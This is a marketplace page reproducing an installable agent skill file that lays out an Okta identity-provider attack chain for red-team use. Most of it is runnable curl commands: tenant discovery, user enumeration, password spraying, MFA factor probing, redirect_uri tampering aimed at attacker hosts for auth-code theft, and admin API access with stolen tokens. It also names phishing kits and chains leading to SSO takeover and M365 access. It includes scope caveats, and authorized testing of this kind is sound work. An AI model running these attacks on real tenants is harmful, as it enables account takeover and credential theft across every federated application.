agentsclimarketplace

Okta attack

Skill adriannoes/awesome-agentic-ai/cursor-claude-codex/skills/bug-hunter/skills/okta-attack

Okta-as-IdP red-team attack chain — tenant discovery, user enumeration (multiple vectors), authentication flow analysis (factors enumeration, push-notification fatigue, SMS bypass), password spray with lockout discipline, Okta-specific phishing primitives (kits, FastPass abuse, OIDC redirect_uri tampering), MFA enumeration, post-compromise admin API surface. Many enterprise orgs use Okta instead of (or alongside) Entra ID. Distinct endpoints, distinct rate-limiting, distinct factor flows. Use when recon shows `<tenant>.okta.com`, `<tenant>.okta-emea.com`, `<tenant>.oktapreview.com`, or autodiscover-style records pointing at Okta IdP.From its SKILL.md

Install
npx -y skills add adriannoes/awesome-agentic-ai --skill okta-attack

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

SKILL.md

13.8 KB, ~3.5k tokens by cl100k_base, as published. Nobody here has run it

When to use this skill

Trigger when:

  • DNS shows <tenant>.okta.com or <tenant>.okta-emea.com (EMEA region)
  • Login flow redirects to <tenant>.okta.com/login or /app/<app_id>/sso/saml
  • Web pages reference /signin/customize, oktapreview.com, or auth-js-sdk
  • Recon notes "uses Okta for SSO"
  • A target has *.okta.com SAN in TLS cert
  • Identity-fabric mapping returns Okta as IdP for a corporate app

DO NOT use for:

  • Entra ID (use m365-entra-attack instead)
  • Google Workspace (use google-workspace-attack — not yet built)
  • ADFS (different protocol, on-prem)

Tenant discovery

Direct guesses

# Tenant subdomains often match the brand
# Replace these with your target's actual tenant slug candidates:
for tenant in target-brand target-brand-ltd target-sister-brand target-brand-short target-other-variant; do
  for region in okta okta-emea oktapreview; do
    host="$tenant.$region.com"
    code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
    [ "$code" != "404" ] && [ "$code" != "000" ] && echo "  $host  $code"
  done
done

Cross-ref from DNS

# Look for CNAME records pointing to Okta
# Replace with your target's actual domains:
for domain in client.example client-ltd.example; do
  dig +short "sso.$domain" CNAME
  dig +short "login.$domain" CNAME
  dig +short "auth.$domain" CNAME
  dig +short "okta.$domain" CNAME
done

Cross-ref from app HTTP flow

# Visit corporate-app login, follow redirects
curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
# If redirects to <something>.okta.com → confirmed Okta tenant

User enumeration

Method 1 — /api/v1/authn differential

The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.

# Probe single user — DON'T spray, this counts as auth attempt!
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<email>","password":"_test_invalid_pw"}'

# Response codes:
#   401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
#   401 + "errorCode":"E0000119" → account locked
#   200 → MFA prompt (cred VALID, MFA needed)
#   200 + "status":"SUCCESS" → full auth (rare in modern setups)

⚠ Okta has hardened against direct user-existence enum via /api/v1/authn — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.

Method 2 — /api/v1/users/me/factors timing

Some flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.

Method 3 — Sign-in widget JS endpoint

curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
  -H "Accept: application/json"
# Response varies by tenant config

Method 4 — Org-specific identifier probing

Some Okta orgs use email-as-username; others use firstname.lastname or employee-id. Test pattern guesses:

[email protected]
[email protected]  
[email protected]
[email protected]

Method 5 — OIDC /v1/authorize with login_hint

# Tampering with login_hint param can reveal user existence on some configs
curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
# Different redirect → user exists vs doesn't

Authentication flow analysis (always do this first)

# Initial auth — observe what factors come back
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -H "Content-Type: application/json" \
  -d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool

Response structure reveals factor configuration:

{
  "stateToken": "00ABC...",
  "factorResult": "WAITING",
  "status": "MFA_REQUIRED",
  "_embedded": {
    "factors": [
      {"factorType": "push", "provider": "OKTA"},
      {"factorType": "token:software:totp", "provider": "OKTA"},
      {"factorType": "sms", "provider": "OKTA"},
      {"factorType": "call", "provider": "OKTA"},
      {"factorType": "email", "provider": "OKTA"},
      {"factorType": "question", "provider": "OKTA"},
      {"factorType": "webauthn", "provider": "FIDO"}
    ]
  }
}

Critical insight: the factor list reveals which factors are available — phishing-resistance varies dramatically:

  • webauthn (FIDO2) — phishing-resistant
  • question (security questions) — extremely weak; KBA attacks
  • sms / call — phishing-able (push notification fatigue, SIM swap)
  • push — phishing-able via MFA fatigue
  • email — phishing-able if attacker has email read access
  • totp — phishing-able via AiTM

Password spray (with Okta-specific lockout discipline)

Lockout policy

Okta default: 10 failed sign-ins → lockout (configurable per-org). Some orgs configure much stricter (3 fails).

Discipline:

  • ≤2 attempts per user lifetime per engagement (safer than 1 in Entra because Okta lockout is sometimes 3 fails)
  • Track per-user in atomic state file
  • Stop on first valid hit OR if LOCKED rate exceeds threshold

Spray endpoint

# Same /api/v1/authn — see authentication flow above

Status codes to watch for

ResponseMeaning
200 status=MFA_REQUIREDPassword is VALID — MFA challenge waiting
200 status=SUCCESS + sessionTokenFull auth (only if MFA not required for this user)
200 status=PASSWORD_EXPIREDPassword is VALID but user must change it
200 status=LOCKED_OUTAccount locked (pre-existing or our cause)
401 E0000004Authentication failed (user doesn't exist OR wrong password — Okta unifies)
401 E0000119User is locked
429Rate-limit hit

Push-notification fatigue (MFA bombing)

If a valid password is obtained and push factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.

OUT OF SCOPE in most red-team engagements (counts as social engineering / phishing — e.g. phishing was explicitly OOS for authorized-engagement). Document the vector existence but do not execute without explicit sign-off.

Detection-only check (does target allow it?)

# Initiate factor verification
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
  -H "Content-Type: application/json" \
  -d '{"stateToken":"<from_authn>"}'

# A real test would loop this — DON'T do that without explicit OK

OIDC redirect_uri tampering

Okta OIDC apps often have a list of allowed redirect_uri values. Misconfigurations:

# Get the app's authorize endpoint
curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool

# Test redirect_uri injection
for ruri in \
    "https://attacker.example.com/" \
    "https://target.com.attacker.com/" \
    "https://[email protected]/" \
    "https://target.com#@attacker.com/" \
    "https://target.com\\@attacker.com/" \
    "//attacker.com/" \
    "https://target.com/cb?next=https://attacker.com/"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" \
    "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
  echo "  $ruri → $code"
done
# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain

SAML SP misconfiguration check (per-app)

Each Okta SAML app has its own SP metadata:

# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"

# Look for:
#   AuthnRequestsSigned="false"  ← see hunt-saml for XSW
#   WantAssertionsSigned="false" ← assertion-replay possible
#   <NameIDFormat>...emailAddress</NameIDFormat>

Okta Admin API (post-cred-compromise)

If a valid cred + MFA-completed token is obtained:

# Get session token
curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
  -d '{"username":"...","password":"..."}'
# → if SUCCESS, response has sessionToken

# Exchange for API token (admin only)
# Test admin endpoints (all require valid SSWS token):
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps"
curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs"      # audit log

Okta-specific phishing kits (informational — OOS for non-phishing engagements)

  • EvilProxy — Okta-aware AiTM kit
  • Modlishka — generic AiTM
  • Evilginx2 — has Okta phishlets

Document existence; do not deploy without explicit phishing scope.


FastPass / Okta Verify abuse

Okta FastPass is push-based + device-bound. Bypasses:

  • Device trust spoofing (requires kit + endpoint compromise — internal-only)
  • Push fatigue (see above)
  • Phishing redirect to fake FastPass prompt

Common Okta tenant configuration patterns

IndicatorConfiguration
<tenant>.okta.com/api/v1/iam/orgs returns 401 (not 404)API IAM endpoints enabled — admin attack surface
customize/sign-in page reachable anonTenant brand customization is public — useful intel
Multiple *.okta.com SAN certsMulti-tenant org (less common)
oktapreview.com subdomainPreview/sandbox tenant — typically weaker security

Tooling

  • okta-attacker / okta-toolkit — open-source Okta attack utilities
  • OktaTerrify — for post-compromise Okta enumeration
  • oktajacking techniques — IAM-level abuse (requires admin access)

Anti-patterns

  • DO NOT use Entra-style spray pace on Okta — Okta's anti-automation is tuner-different; rate-limit hits faster
  • DO NOT skip factor enumeration — knowing the factor list before attempting spray informs the realistic threat model
  • DO NOT assume MFA-fatigue is in scope — it's social engineering; explicit OK required
  • DO NOT confuse *.oktapreview.com with production — preview is a non-prod tenant, findings have different severity

Bridge to neighboring skills

  • m365-entra-attack — sibling skill for the M365 case; identical mental model
  • hunt-oauth — OIDC redirect_uri tampering, state attack, PKCE bypass
  • hunt-saml — XSW / signature-stripping for per-app SAML SP
  • hunt-mfa-bypass — push fatigue, OTP brute, replay
  • mid-engagement-ir-detection — Okta SOC dashboards are sensitive; expect mitigations during testing

Anti-pattern: Okta user enumeration in 2024+

Several techniques publicly documented through 2022 (e.g., /api/v1/authn differential errors) have been hardened. Don't rely on stale knowledge — confirm enumeration vector freshness on each engagement by:

  1. Testing 1 known-existing username (e.g. info@<domain> if reachable)
  2. Testing 1 known-not-existing username
  3. Comparing responses byte-by-byte and timing

If responses are identical, the vector is hardened — pivot to OneDrive-equivalent or different approach.


Related Skills & Chains

  • hunt-subdomain — Okta tenant naming patterns (<org>.okta.com, <org>.oktapreview.com, <org>-admin.okta.com) frequently include orphan/dev tenants. Chain primitive: Okta tenant discovery via /.well-known/okta-organization → enumerate <org>-dev, <org>-uat, <org>-test subdomains → hunt-subdomain orphan-tenant identification → claim abandoned tenant → SSO takeover (legitimate <org> users redirected through compromised IdP for any app federated to the dev tenant).
  • m365-entra-attack — Okta-as-IdP for M365 is common in hybrid orgs. Chain primitive: okta-attack user enumeration + spray succeeds on Okta tenant → Okta is federated to Entra → SAML assertion issued by compromised Okta user → full M365 access without ever touching login.microsoftonline.com directly (bypasses Entra Conditional Access in many configurations).
  • hunt-saml — Okta issues SAML assertions to every federated downstream app. Chain primitive: Okta admin or developer credential captured → mint arbitrary SAML assertions in Okta admin → hunt-saml XSW or signature manipulation not even needed — legitimately signed assertions for arbitrary impersonation across every federated app (Salesforce, Workday, AWS, GitHub, M365).
  • hunt-mfa-bypass — Okta supports multiple factors with varying enforcement. Chain primitive: Okta password sprayed → MFA challenge → hunt-mfa-bypass factor-downgrade (push-fatigue, SMS fallback, voice fallback, security-question fallback) → bypass to authenticated session.
  • triage-validation — Okta findings can be high-impact but need the 7-Question Gate run on whether the captured artifact (token, code, factor) actually grants meaningful access. Chain primitive: validated Okta primitive → triage-validation to confirm access plane → redteam-report-template with explicit federated-app blast-radius.

What ships with it

Read from the repository

Just SKILL.md. No reference files, no scripts.

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.